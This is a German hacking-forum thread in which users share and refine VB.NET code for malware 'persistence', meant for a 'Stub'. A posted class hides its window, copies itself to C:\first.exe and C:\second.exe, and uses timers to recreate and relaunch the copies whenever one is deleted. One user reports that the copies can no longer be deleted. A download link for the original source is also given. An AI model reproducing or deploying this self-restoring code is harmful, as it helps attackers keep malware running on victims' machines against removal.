[VB.NET] Persistant

Habe vorhin einen kleinen Source gemacht , der zeigt wie man eine Persistant funktion realisieren könnte.

Der Aufbau ist recht leicht:

[+] Es gibt 2 .exe´n die aufeinander "aufpassen", mit Timer intervallen
[+] Sollte eine der beiden .exe´n nicht mehr da sein wird sie aus den Ressourcen kopiert und neu gestartet.

PLS Credits geben falls ihr es benutzt ;)

DL:
http://ul.to/85r6vd

mfG

Das heisst ich muss in der Stub 4 Exe-Files transportieren?
Die beiden EXE's mit jeweils 1 Exe in den Ressourcen.

öhhhm... 4 ja :D

edit: man könnte sie ja auch DL lassen.


ich habe ja nur ein kleines Beispiel gemacht ;)


mfG

Seh ich das falsch oder hast du das total umständlich gemacht?
Hier mal meine methode:

Code:

---

If Not IO.File.Exists("Datei1.exe") Then
IO.File.WriteAllBytes("Datei1.exe", My.Resources.Datei1)
End If

---

In die andere exe das selbe blos mit dem anderen dateinamen

Ja ach neeee :)
Aber du hast ja ne Stub, das ist die erste EXE.

Stub -> 2 Exe-Dateien, die aufeinander aufpassen -> jede braucht die andere als Ressouce = 4 Dateien + Die Stubsize.

Das ganze geht auch "einfacher" mit 1 .exe und ein paar IF Abfragen mehr!
Warum denn bitte gleich 4 .exe :P 1 tuts leicht!

Mir ist das klar, ich hinterfrage nur Kaspersky's Lösung :)

@Epiphone , ja stimmt ich denke von Natur aus immer unständlich :rolleyes:

@ Sirect, ja das ist auffjedenfall zu gross :D

ich setzt mich nochmal dran ;)

mfG

Mach die Stub mit ner Kontroll-Funktion, die über Argumente gesteuert wird.

Server.exe -> (Kopiert sich selbst) -> server2.exe [Pfad zu server.exe] -> Beide überwachen einander :)

machs doch mit einer .exe!
ich werde bei gelegenheit mal ein kleines bsp. schreiben. (in vb6)

Joo :)
Ich habs grade mit 1ner .exe versucht.
aber am Ende lassen sich beide nicht mehr löschen weil bei beiden der Zugriff verweigert wird ^^

Code:

---

Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Hide()
        Try

            IO.File.Copy(Application.ExecutablePath, ("C:\first.exe"))

            IO.File.Copy(Application.ExecutablePath, ("C:\second.exe"))

        Catch ex As Exception

        End Try

        Timer1.Interval = 4000
        Timer1.Start()
        Timer2.Interval = 4000
        Timer2.Start()
    End Sub

    Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Me.Hide()
        If IO.File.Exists("C:\first.exe") = False Then
            IO.File.Copy(Application.ExecutablePath, ("C:\first.exe"))
            Try
                Process.Start("C:\first.exe")
            Catch ex As Exception

            End Try
        End If
    End Sub

    Private Sub Timer2_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Me.Hide()
        If IO.File.Exists("C:\second.exe") = False Then
            IO.File.Copy(Application.ExecutablePath, ("C:\second.exe"))
            Try
                Process.Start("C:\second.exe")
            Catch ex As Exception

            End Try
        End If
    End Sub
End Class

---

ich checks immernoch nich ^^

Was checkst du nicht ?

Weist du ünerhaupt was Persistant ist ?

[Ironie]Schön gemacht werd ich vielleicht rippen >=)[/Ironie]

Ne echt jetzt... schöner Sc kann man bestimmt mal gebrauchen^^ ---> (zum lernen natürlich *hust*)

^^ danke ,

ich arbeite noch dran aber gebauchen kann man ihn schon ;)
es erfüllt immerhin schon seinen Zweck


mfG